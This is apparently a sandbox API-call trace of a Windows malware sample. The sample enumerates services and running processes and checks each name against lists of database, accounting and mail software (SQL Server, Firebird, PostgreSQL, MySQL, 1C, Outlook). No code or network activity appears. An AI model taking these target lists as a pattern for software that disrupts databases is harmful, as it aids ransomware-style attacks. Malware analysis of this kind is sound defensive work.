[0044.059] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.059] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.059] lstrlenW (lpString="MpsSvc") returned 6 [0044.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.060] lstrlenW (lpString="Netman") returned 6 [0044.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.060] lstrlenW (lpString="netprofm") returned 8 [0044.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.060] lstrlenW (lpString="NlaSvc") returned 6 [0044.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.060] lstrlenW (lpString="nsi") returned 3 [0044.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.060] lstrlenW (lpString="PcaSvc") returned 6 [0044.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.060] lstrlenW (lpString="PlugPlay") returned 8 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.061] lstrlenW (lpString="Power") returned 5 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.061] lstrlenW (lpString="ProfSvc") returned 7 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.061] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.061] lstrlenW (lpString="RpcSs") returned 5 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.061] lstrlenW (lpString="SamSs") returned 5 [0044.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.062] lstrlenW (lpString="Schedule") returned 8 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.062] lstrlenW (lpString="SENS") returned 4 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.062] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.062] lstrlenW (lpString="Spooler") returned 7 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.062] lstrlenW (lpString="SysMain") returned 7 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.062] lstrlenW (lpString="Themes") returned 6 [0044.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.063] lstrlenW (lpString="TrkWks") returned 6 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.063] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.063] lstrlenW (lpString="UxSms") returned 5 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.063] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.063] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.063] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.063] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.063] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.063] lstrlenW (lpString="Winmgmt") returned 7 [0044.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.064] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.064] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.064] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.064] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7190a0 | out: hHeap=0x6c0000) returned 1 [0044.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0044.066] Process32FirstW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.066] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.067] lstrlenW (lpString="System") returned 6 [0044.067] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.067] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.067] lstrlenW (lpString="smss.exe") returned 8 [0044.067] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.068] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.068] lstrlenW (lpString="csrss.exe") returned 9 [0044.068] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.068] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.068] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.068] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.069] lstrlenW (lpString="wininit.exe") returned 11 [0044.069] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0044.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0044.069] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.069] lstrlenW (lpString="csrss.exe") returned 9 [0044.070] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.070] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.070] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.070] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.070] lstrlenW (lpString="winlogon.exe") returned 12 [0044.070] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.071] lstrlenW (lpString="services.exe") returned 12 [0044.071] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.071] lstrlenW (lpString="lsass.exe") returned 9 [0044.071] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.072] lstrlenW (lpString="lsm.exe") returned 7 [0044.072] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.072] lstrlenW (lpString="svchost.exe") returned 11 [0044.072] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.073] lstrlenW (lpString="svchost.exe") returned 11 [0044.073] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.073] lstrlenW (lpString="svchost.exe") returned 11 [0044.073] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.074] lstrlenW (lpString="svchost.exe") returned 11 [0044.074] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.074] lstrlenW (lpString="svchost.exe") returned 11 [0044.074] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.075] lstrlenW (lpString="audiodg.exe") returned 11 [0044.075] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.075] lstrlenW (lpString="svchost.exe") returned 11 [0044.075] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.076] lstrlenW (lpString="svchost.exe") returned 11 [0044.076] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.076] lstrlenW (lpString="dwm.exe") returned 7 [0044.076] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.077] lstrlenW (lpString="explorer.exe") returned 12 [0044.077] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.077] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.077] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.078] lstrlenW (lpString="taskhost.exe") returned 12 [0044.078] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.078] lstrlenW (lpString="svchost.exe") returned 11 [0044.078] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.079] lstrlenW (lpString="taskeng.exe") returned 11 [0044.079] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.079] lstrlenW (lpString="taskhost.exe") returned 12 [0044.079] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0044.080] lstrlenW (lpString="br_maintaining.exe") returned 18 [0044.080] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0044.080] lstrlenW (lpString="kitsenormous.exe") returned 16 [0044.080] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0044.081] lstrlenW (lpString="intermediate-components.exe") returned 27 [0044.081] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0044.081] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0044.081] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0044.082] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0044.082] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0044.082] lstrlenW (lpString="stupid.exe") returned 10 [0044.082] Process32NextW (in: hSnapshot=0x188, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0044.083] 